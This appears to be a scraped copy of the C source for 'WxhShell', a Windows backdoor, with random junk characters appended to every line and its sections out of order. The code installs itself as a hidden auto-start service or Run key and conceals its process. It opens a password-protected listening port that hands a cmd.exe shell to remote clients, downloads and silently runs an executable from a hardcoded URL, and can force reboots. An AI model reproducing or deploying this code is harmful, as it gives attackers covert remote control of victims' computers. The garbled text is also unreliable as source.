    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (F@.o1No%  
    else { `@eo <6  
    closesocket(wsh); ,y@`wq>O  
    ExitThread(0); R{uq8NA- W  
    } O) NEt  
    break; \' (_r  
    } (ds-p[`[m  
  // 获取shell 3)ac  
  case 's': { ICwhqH&  
    CmdShell(wsh); F[uy'~;@  
    closesocket(wsh); @|kBc.(]  
    ExitThread(0); -S5M>W.Qb{  
    break; <+ 0cQq=2  
  } T 7`9[  
  // 退出 'wB6-  
  case 'x': { 6yEYX'_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); iy_'D  
    CloseIt(wsh); Bwv@D4bii  
    break; 9fp@d  
    } .zxP,]"l  
  // 离开 /Qi;'h]  
  case 'q': { Ln/6]CMl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y Y4"r\V  
    closesocket(wsh); JQ|qg\[  
    WSACleanup(); am;)@<8~Q  
    exit(1); *opf~B_e  
    break; 8l,`~jvU!*  
        } d3Dw[4  
  } q2v:lSFY  
  } <X9  T}g  
'6U~|d  
  // 提示信息 GQ<]Sd}[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t<S]YA~N'  
} +%vBDcf  
  } #Hm*<s.  
nd)Z0%xo  
  return; rUZRYF4C  
} gD&/ k  
O 1T JJ8  
// shell模块句柄 g$C-G5/bjD  
int CmdShell(SOCKET sock) EX^}#|e*h  
{ _-/aMfyQ  
STARTUPINFO si; %JmRJpCvR  
ZeroMemory(&si,sizeof(si)); 8vFt<k}G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {z)&=v@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~3k& =3d]  
PROCESS_INFORMATION ProcessInfo; `m2e *  
char cmdline[]="cmd"; BQYj"Wi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1 o<l;:  
  return 0; Gok8:,  
} .yz-o\,gF%  
}6/L5j:+  
// 自身启动模式 mmk]Doy?#  
int StartFromService(void) zh5'oE&[yC  
{ Nxk3uF^  
typedef struct L<'8#J[_5  
{ R#j -Z#/"  
  DWORD ExitStatus; LxqK@Q<B  
  DWORD PebBaseAddress; QF^_4Yn  
  DWORD AffinityMask; ENu`@S='I3  
  DWORD BasePriority; diXb8L7B;  
  ULONG UniqueProcessId; P'o:Vhm_H  
  ULONG InheritedFromUniqueProcessId; X4<!E#  
}   PROCESS_BASIC_INFORMATION; (hywT)#+  
>dH5n$Gb  
PROCNTQSIP NtQueryInformationProcess; ) V}q7\G~  
7%rSo^t,L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8o' a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .<`W2*1  
|12Cg>;j*n  
  HANDLE             hProcess; F 8*e  
  PROCESS_BASIC_INFORMATION pbi; 99XbpP55  
S<n3wR"^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rE?(_LI  
  if(NULL == hInst ) return 0; c*nH=  
.0x+b-x  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BKoc;20;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nquKeH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k;V4%O  
@g|E b}t  
  if (!NtQueryInformationProcess) return 0; zG z^T  
)k5lA=(Yr+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); muLt/.EZ  
  if(!hProcess) return 0; y^; =+Z  
LS:3Dtq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dZ!Wj7K)  
]a% *$TF  
  CloseHandle(hProcess); uM0!,~&9|  
s PNX)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '8~cf  
if(hProcess==NULL) return 0; <YbOO{  
l ' ]d&  
HMODULE hMod; .%+`e  
char procName[255]; Z<a6U 3  
unsigned long cbNeeded; dfB#+wh  
2,Y8ML<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {]ZZ]  
]UnZc  
  CloseHandle(hProcess); 7BCCQsz<  
cOUsbxYTD  
if(strstr(procName,"services")) return 1; // 以服务启动 OVO0Emv  
#bPio  
  return 0; // 注册表启动 J'.:l}g!1  
} G8`q-B}q  
p#.B Fy  
// 主模块 2F-!SI  
int StartWxhshell(LPSTR lpCmdLine) ?8Cxt|o>  
{ YZ\$b=-  
  SOCKET wsl; Oa~t&s  
BOOL val=TRUE; y]=v+Q*+  
  int port=0; E66e4?"  
  struct sockaddr_in door; +-,Q>`  
9QJ=?bIC#  
  if(wscfg.ws_autoins) Install(); r&"}zyL  
A <iF37.  
port=atoi(lpCmdLine); D0PP   
VS^%PM#:/  
if(port<=0) port=wscfg.ws_port; r6]r+!63"  
fl~k')s  
  WSADATA data; :<%K6?'@^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8E/$nRfO d  
xXZ$#z\ Z,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tjOfekU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); po"M$4`9  
  door.sin_family = AF_INET; qsFA~{o.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dk({J   
  door.sin_port = htons(port); 6fPuTQ}fY>  
m&,d8Gss^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jL 8&  
closesocket(wsl); %kNkDI  
return 1; KK]AX;  
} X =S;8=N  
Mim 9C]h(  
  if(listen(wsl,2) == INVALID_SOCKET) { P%pB]d.qpi  
closesocket(wsl); :<ujk  
return 1; 4_PMl6qo  
} 7r"!&P* ,  
  Wxhshell(wsl); 0Qw?.#[9  
  WSACleanup(); *|$s0ga C  
30FYq?  
return 0; N3vk<sr@  
{FQ dDIj#  
} ~,R_  
8<)[+ @$0  
// 以NT服务方式启动 Ca+d ?IS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @z dmB~C  
{ zfi{SO l  
DWORD   status = 0; R9S7p)B  
  DWORD   specificError = 0xfffffff; $g#X9/+<  
o [ar.+[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j@UW[,UI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QwOQS %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2c0eh-Gf  
  serviceStatus.dwWin32ExitCode     = 0; ),bdj+wr78  
  serviceStatus.dwServiceSpecificExitCode = 0; f`WmRx]K  
  serviceStatus.dwCheckPoint       = 0; o1zc`Ibd  
  serviceStatus.dwWaitHint       = 0; 76=uk!#3{  
zCO5 `%14  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]}>GUXe)^  
  if (hServiceStatusHandle==0) return; 4CX*  
{!^HG+  
status = GetLastError(); -Rjn<bTIy  
  if (status!=NO_ERROR) Yz-b~D/=}  
{ XZp(Po:H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EW2e k^  
    serviceStatus.dwCheckPoint       = 0; tm+}@CM^.  
    serviceStatus.dwWaitHint       = 0; ?H*_:?=6  
    serviceStatus.dwWin32ExitCode     = status; 2U~oWg2P  
    serviceStatus.dwServiceSpecificExitCode = specificError; .fo.mC@a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,iSs2&$ m  
    return; ~Gwn||g78  
  } uT;Qo{G^  
#"i}wS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kf"cd 1  
  serviceStatus.dwCheckPoint       = 0; wQ.ild  
  serviceStatus.dwWaitHint       = 0; qV iky=/-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +#&2*nY  
} 8{?Oi'-|0  
/ d6mlQS  
// 处理NT服务事件,比如:启动、停止 Yl-09)7s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [&FMVM`  
{ !\|&E>Gy  
switch(fdwControl) hCr7%`  
{ 'Iu$4xo`[  
case SERVICE_CONTROL_STOP: uY "88|  
  serviceStatus.dwWin32ExitCode = 0; []LNNO],X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MIt\[EB  
  serviceStatus.dwCheckPoint   = 0; /tt  
  serviceStatus.dwWaitHint     = 0; >xP $A{  
  { 9^ mrsj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AFMAgf{bD  
  } ^=R>rUCmv  
  return; IK %j+UB  
case SERVICE_CONTROL_PAUSE: W&bh&KzCW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,HMB`vF  
  break; $fn Fi|-  
case SERVICE_CONTROL_CONTINUE: zyCl`r[}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H3a}`3}U  
  break; w,`x(!&  
case SERVICE_CONTROL_INTERROGATE: |n6nRE wW  
  break; /3+7a\|mKr  
}; 7J>n;8{%?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FirmzB Il5  
} u[d8)+VX  
 Xv:<sX  
// 标准应用程序主函数 t[an,3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r."Dc  
{ ;TaT=%  
1Z`<HW"  
// 获取操作系统版本 MR+ndB<  
OsIsNt=GetOsVer(); =cRJtn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !T @|9PCp  
'M G)noN5  
  // 从命令行安装 {kZhje^$vi  
  if(strpbrk(lpCmdLine,"iI")) Install(); :5"|iRP'  
U 2\{ ( y  
  // 下载执行文件 }A2@1TTPX  
if(wscfg.ws_downexe) { q)!{oi{x(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Fj z+CGg  
  WinExec(wscfg.ws_filenam,SW_HIDE); jRq>Sz{8  
} k`TEA?RfQ  
0Y"==g+ >f  
if(!OsIsNt) { L'[ '7  
// 如果时win9x,隐藏进程并且设置为注册表启动 UGR5ILf  
HideProc(); YHeB <v  
StartWxhshell(lpCmdLine); |dXS+R1  
} ,L_p"A  
else q:nYUW o   
  if(StartFromService()) 'VF9j\a  
  // 以服务方式启动 5(U.<  
  StartServiceCtrlDispatcher(DispatchTable); ^. Pn)J  
else >#>YoA@S  
  // 普通方式启动 Iem* 'r  
  StartWxhshell(lpCmdLine); KE(kR>OB]  
|/r@z[t  
return 0; $RF"m"  
} ?|8H $1  
JDMaLo  
v_G4:tY  
*4.f*3*  
=========================================== 1uD}V7_y"  
kW/ksz0)  
R?]>8o,  
Wje7fv  
NGb`f-:jw  
TmUn/  
" K$K[fcj  
SZyPl9.b  
#include <stdio.h> 9N u;0  
#include <string.h> XvdK;  
#include <windows.h> UB(8N7_/  
#include <winsock2.h> Zi|'lHr  
#include <winsvc.h> $Y ]*v)}X  
#include <urlmon.h> G%4vZPA  
az19-QIcg  
#pragma comment (lib, "Ws2_32.lib") 47t^{WrT  
#pragma comment (lib, "urlmon.lib") V:l; 2rW  
`#9ZP  
#define MAX_USER   100 // 最大客户端连接数 JbG+ysn  
#define BUF_SOCK   200 // sock buffer a:P% r  
#define KEY_BUFF   255 // 输入 buffer 7AtJ6  
BfhOe~+i  
#define REBOOT     0   // 重启 uRUysLIw  
#define SHUTDOWN   1   // 关机 _<5> E  
hS<x+|'l  
#define DEF_PORT   5000 // 监听端口 R':a,6 O  
EV~_-YC   
#define REG_LEN     16   // 注册表键长度 qt3 \*U7x  
#define SVC_LEN     80   // NT服务名长度 U[Z1@2zLx  
;1F3.ibE  
// 从dll定义API w`i3B@w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); " $m3xO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a*vi&$@`Z1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,!Ah+x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #mtlgK'  
hX[hR  
// wxhshell配置信息 Ee4oTU5Mb  
struct WSCFG { |s s_<  
  int ws_port;         // 监听端口 'm-s8]-W  
  char ws_passstr[REG_LEN]; // 口令 "9R3S[  
  int ws_autoins;       // 安装标记, 1=yes 0=no KS%xo6k.  
  char ws_regname[REG_LEN]; // 注册表键名 ;2& (]1X  
  char ws_svcname[REG_LEN]; // 服务名 ]k>S0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 80 p7+W2m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !9V_U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 NlWIb2,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lgre@M]mg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5a4;d+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Gs{Zfp!D  
{fk'g(E8([  
}; E+[K?W5  
\W #M]Q  
// default Wxhshell configuration b+3{ bE  
struct WSCFG wscfg={DEF_PORT, 'rU 5VrK  
    "xuhuanlingzhe", g6 r3V.X'  
    1, z q(AN<  
    "Wxhshell", S,qsCnz  
    "Wxhshell", 3X%>xUI  
            "WxhShell Service", )I`B+c:  
    "Wrsky Windows CmdShell Service", |<9 R%  
    "Please Input Your Password: ", m<TKy_C`  
  1, ~?S/0]?c  
  "http://www.wrsky.com/wxhshell.exe", Smg,1,=  
  "Wxhshell.exe" o'r?^ *W  
    }; o3j4XrK  
Q+Jzab  
// 消息定义模块 X_O(j!h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ 98)7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iv:[]o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bo)w#X  
char *msg_ws_ext="\n\rExit."; ANi}q9SC  
char *msg_ws_end="\n\rQuit."; 7$}lkL  
char *msg_ws_boot="\n\rReboot..."; m[(2  
char *msg_ws_poff="\n\rShutdown..."; beN0 ?G  
char *msg_ws_down="\n\rSave to "; -hyY5!rD  
dk-Y!RfNx  
char *msg_ws_err="\n\rErr!"; 2NqlE  
char *msg_ws_ok="\n\rOK!"; /oE@F178  
'I\bz;VT  
char ExeFile[MAX_PATH]; !&?(ty^F  
int nUser = 0; `A3"*,|z  
HANDLE handles[MAX_USER]; !fZ{ =  
int OsIsNt; qAHQZKk  
dI{)^  
SERVICE_STATUS       serviceStatus; b&s"x? 7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i|y8n7c  
Z^>{bW  
// 函数声明 kk )9!7  
int Install(void); Vw<=& w#K  
int Uninstall(void); LoqS45-)  
int DownloadFile(char *sURL, SOCKET wsh); pa4zSl  
int Boot(int flag); +t,JCY6  
void HideProc(void); m ['UV2  
int GetOsVer(void); }&bO;o&>  
int Wxhshell(SOCKET wsl); nV@k}IJg:?  
void TalkWithClient(void *cs); OpW4@le_r  
int CmdShell(SOCKET sock); x?y)a9&Hm  
int StartFromService(void); d[6[3B  
int StartWxhshell(LPSTR lpCmdLine); _.KKh62CN  
}L'BzSU@G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T:q!>"5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S[n ;u-U  
~$Xz~#~  
// 数据结构和表定义 |B./5 ,nSS  
SERVICE_TABLE_ENTRY DispatchTable[] = /YKg.DA|  
{ Oc}4`?oy<O  
{wscfg.ws_svcname, NTServiceMain}, B>AmH%f/  
{NULL, NULL}  ") q  
}; 5RrzRAxq  
G0Eqo$W)S  
// 自我安装 l c?9B  
int Install(void) xKi: 2  
{ @!1o +x  
  char svExeFile[MAX_PATH]; ds}:t.3}6  
  HKEY key; \vjIw{   
  strcpy(svExeFile,ExeFile); *9Ej fs7L  
(P%{Tab  
// 如果是win9x系统,修改注册表设为自启动 Y@)/iwq  
if(!OsIsNt) { p6VS<L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qRlS^=#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ha>Hb`  
  RegCloseKey(key); cv})^E$x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _r@ FWUZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (,*e\o  
  RegCloseKey(key); b*i_'k}*<g  
  return 0; c5Fl:=h  
    } Kx==vq%39  
  } tbG^9d  
} ' 5`w5swbc  
else { "ld4v+o8l  
BC.~wNz6  
// 如果是NT以上系统,安装为系统服务 R~TzZ(Ah]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |h}/#qhR  
if (schSCManager!=0) lKKg n{R  
{ "jS @ug  
  SC_HANDLE schService = CreateService %xv }  
  ( }22h)){n#Y  
  schSCManager, V9  Z  
  wscfg.ws_svcname, 90<z*j$EK  
  wscfg.ws_svcdisp, U?]}K S;6  
  SERVICE_ALL_ACCESS, jiw5>RNt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^k{b8-)W<  
  SERVICE_AUTO_START, E "9`  
  SERVICE_ERROR_NORMAL, CCx_|>  
  svExeFile, '9@} =pE  
  NULL, Fq>tl 64A  
  NULL, $o}Ao@WkO  
  NULL, 2aj9:S  
  NULL, .Y`;{)  
  NULL R2K{vs  
  ); Lh`B5  
  if (schService!=0) `_"F7Czn  
  { ^phgNzD  
  CloseServiceHandle(schService); :qlcN@_  
  CloseServiceHandle(schSCManager); l5; SY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E^'f'\m  
  strcat(svExeFile,wscfg.ws_svcname); #7(?B{i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %BBM%Lj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KNvvYwFH]  
  RegCloseKey(key); ' 5tk0A  
  return 0; g_8A1lt  
    } kz=Ql|@  
  } |-+IF,j  
  CloseServiceHandle(schSCManager); cl,\N\  
} kn 5X:@{  
} ' v)@K0P  
SHcFnxEAIH  
return 1; v^A4%e<8^r  
} ."X}A t  
Dt]N&E#\D  
// 自我卸载 l4O&*,}l##  
int Uninstall(void) }.DE521u  
{ Po B-:G6  
  HKEY key; "39\@Ow  
Mn> /\e  
if(!OsIsNt) { v~.nP} E^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ),!1B%  
  RegDeleteValue(key,wscfg.ws_regname); ./l^Iz&0  
  RegCloseKey(key); %:S4OT8]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C 9{8!fYp  
  RegDeleteValue(key,wscfg.ws_regname); /BN_K8nb`  
  RegCloseKey(key); ahoXQ8c:\}  
  return 0; }w_r(g?\  
  } ojva~mnFf  
} :@~W$f\y  
} *r90IS}A$2  
else { w! kWG,{C  
K HO@"+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T%Nm  
if (schSCManager!=0) 3bN]2\   
{ 1-=ZIHW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2j=i\B  
  if (schService!=0) F $6JzF$|F  
  { UE\Z] t!  
  if(DeleteService(schService)!=0) { o'?[6B>oj  
  CloseServiceHandle(schService); %iq8dAW%  
  CloseServiceHandle(schSCManager); |PNPOj0  
  return 0; b0| ;v-v  
  } =F<bAZ  
  CloseServiceHandle(schService); '#eY4d<i]n  
  } o)2KQ$b>Q  
  CloseServiceHandle(schSCManager); [:BD9V  
} 3 BQZ[%0@  
} ^h?]$P  
Rp0`%}2 o  
return 1; x@LNjlP  
} FGey%:p9$  
$a#-d;  
// 从指定url下载文件 FQh8(^(  
int DownloadFile(char *sURL, SOCKET wsh) ^B?brH}  
{ 5Y4#aq  
  HRESULT hr; 2 r';)8:  
char seps[]= "/"; <L'6CBbP  
char *token; \=&F\EV  
char *file; G%F}H/|R  
char myURL[MAX_PATH]; = 9!|%j  
char myFILE[MAX_PATH]; Y/<`C  
,CxIA^  
strcpy(myURL,sURL); <8iu:nR  
  token=strtok(myURL,seps); y2M]z:Y U  
  while(token!=NULL) Ud& '*,  
  { NCa3")k  
    file=token; N8KH.P+  
  token=strtok(NULL,seps); SVn $!t  
  } !O 0{ .k  
6o)RsxN eu  
GetCurrentDirectory(MAX_PATH,myFILE); 9<Ks2W.N  
strcat(myFILE, "\\"); gp<XTLJ@>  
strcat(myFILE, file); ]o?r( 1  
  send(wsh,myFILE,strlen(myFILE),0); D k<NlH zp  
send(wsh,"...",3,0); "lRxatM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G S&I6  
  if(hr==S_OK) {YK7';_E*  
return 0; 0.kC|  
else ;_ S D W  
return 1; {,B. OM)J  
3gv@JGt7`  
} `-w,6  
 r m  
// 系统电源模块 l:+$Ks  
int Boot(int flag) 2. q\!V}yQ  
{ QlMv_|`9  
  HANDLE hToken; \0n<6^y  
  TOKEN_PRIVILEGES tkp; ` >loleI  
^c]c`w  
  if(OsIsNt) { 4rLc] >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WD@v<Wx)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M%Zh{  
    tkp.PrivilegeCount = 1; E[Q2ZqhgbP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /?NfU.+K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /@64xrvIl=  
if(flag==REBOOT) { O%f{\Fr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f#McTC3C  
  return 0; w7c0jIf{  
} &2nICAN[  
else { ; +1ooeU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g:s|D hE[  
  return 0; "R\D:Olb#  
} PJT$9f~3;.  
  } d;nk>6<|  
  else { 3hVuC1;"  
if(flag==REBOOT) { @RZbo@{~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vdh[%T,&  
  return 0; DzIV5FG  
} JS/~6'uB  
else { Aho-\9/x%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }`aT=_B  
  return 0; {e5-  
} L|nFN}da  
} biZ=TI2P,L  
D!8v$(#hR  
return 1; kQp*+ras  
} ++eT 0  
FNs$k=* 8  
// win9x进程隐藏模块 4+89 M  
void HideProc(void) T*g}^TEh  
{ R8 LHwRQ  
Tz~a. h@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3a&HW JBSx  
  if ( hKernel != NULL ) h8 FV2"  
  { uqD|j:~ =k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `.Zm}'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Xc=PQ:I  
    FreeLibrary(hKernel); [dXa,  
  } /([a%,DI  
MEM(uBYKOb  
return; Dk&(QajL  
} qDqy9u:g  
=:t<!dp  
// 获取操作系统版本 E@6gTx*  
int GetOsVer(void) pWn]$HaoG  
{ ArScJ\/Nwv  
  OSVERSIONINFO winfo; hUX8j9N>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ysCK_  
  GetVersionEx(&winfo); \qTp#sF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %&0/ Ypp=  
  return 1; B%`| W@v  
  else [e_<UF@A*  
  return 0; )L7[;(gQ  
} *>HS>#S  
s8'!1rHd  
// 客户端句柄模块 CpK:u! Dn  
int Wxhshell(SOCKET wsl) #s ' `bF^  
{ HH0ck(u_A*  
  SOCKET wsh; RCi8{~rIvS  
  struct sockaddr_in client; 'T(Q  
  DWORD myID; 45x4JG  
Spu;   
  while(nUser<MAX_USER) zo("v*d*q  
{ @=2u;$.  
  int nSize=sizeof(client); 5!pNo*QK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xAO\'#m  
  if(wsh==INVALID_SOCKET) return 1; [k75+#'  
f,|;eF-Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]HB1JJiS~  
if(handles[nUser]==0) s];0-65)  
  closesocket(wsh);  !VXy67  
else xA<-'8ST  
  nUser++; G(wstHT;/  
  } ,izp^,`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >;F}>_i  
1r*yYm'  
  return 0; 2pv by`P4  
} ic3Szd^4  
_/"e'@z  
// 关闭 socket TaaCl#g$?  
void CloseIt(SOCKET wsh) }'86hnW  
{ 8N$Xq\Da+>  
closesocket(wsh); c<~DYe;;  
nUser--; st~ l||  
ExitThread(0); ]Nw ]po+  
} B.smQt  
=v!Z8zk=W  
// 客户端请求句柄 c6=XJvz  
void TalkWithClient(void *cs) 68w~I7D>  
{ 8|$g"? CU  
+fKV/tSWi  
  SOCKET wsh=(SOCKET)cs; {?++T 0  
  char pwd[SVC_LEN]; Jt0/*^'  
  char cmd[KEY_BUFF]; 5\O&pz@D  
char chr[1]; A |@d{g  
int i,j; ydRS\l  
p&0 G  
  while (nUser < MAX_USER) { <0m^b#hdG  
'/rU<.1  
if(wscfg.ws_passstr) { 3RI6+Cgmn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;% i-:<ac  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aqImW  
  //ZeroMemory(pwd,KEY_BUFF); rf 60'   
      i=0; ^vv 1cft  
  while(i<SVC_LEN) { AAuwE&Gg  
Uq x@9z(  
  // 设置超时 qlg.\H:W~  
  fd_set FdRead; *lu*h&Y  
  struct timeval TimeOut; [9}<N2,9z  
  FD_ZERO(&FdRead); V?>&9D"m  
  FD_SET(wsh,&FdRead); "4T36b  
  TimeOut.tv_sec=8; aI}htb{m`  
  TimeOut.tv_usec=0; |oX9SUl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xk:3w,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !\$4A,  
- K"L6m|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M\Wg|gpy  
  pwd=chr[0]; n:?a=xY  
  if(chr[0]==0xd || chr[0]==0xa) { +# !?+'A  
  pwd=0; HCYy9  
  break; MCIuP`sC|  
  } P]2 /}\f  
  i++; _j{)%%?r  
    } )(1tDQ`L>  
&$#NV@  
  // 如果是非法用户,关闭 socket <]#_&Na  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <h<_''+  
} y]!mN  
!:uh? RW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]n'.}"8Kn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yM(ezb  
8{7'w|/;.{  
while(1) { x #|t#N%  
O`PQ4Q*F  
  ZeroMemory(cmd,KEY_BUFF); &t'P>6)  
Ly1t'{"7  
      // 自动支持客户端 telnet标准   Y9%zo~]-W'  
  j=0; })q8{Qj!  
  while(j<KEY_BUFF) { D*_. 4I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QYAt)Ik9q  
  cmd[j]=chr[0]; OKj\>3  
  if(chr[0]==0xa || chr[0]==0xd) { hsQ*ozv[)  
  cmd[j]=0; KEq48+j  
  break; wLg@BSC.  
  } 'k<~HQr  
  j++; ZKB27D_vg>  
    } bQu@.'O!k  
/ =v1.9(  
  // 下载文件 wNh\pWA  
  if(strstr(cmd,"http://")) { 1vq c8lC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :&RpB^]  
  if(DownloadFile(cmd,wsh)) vv`53 Pbw)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F7=&CW 0  
  else )Q|sW+AF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H]M[2C7#N  
  } &iJvkt  
  else { 1ZWr@,\L  
P Qi=  
    switch(cmd[0]) { ~(^?M  
  H1vToIP%  
  // 帮助 'puiahA  
  case '?': { T@r%~z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N_VWA.JHt  
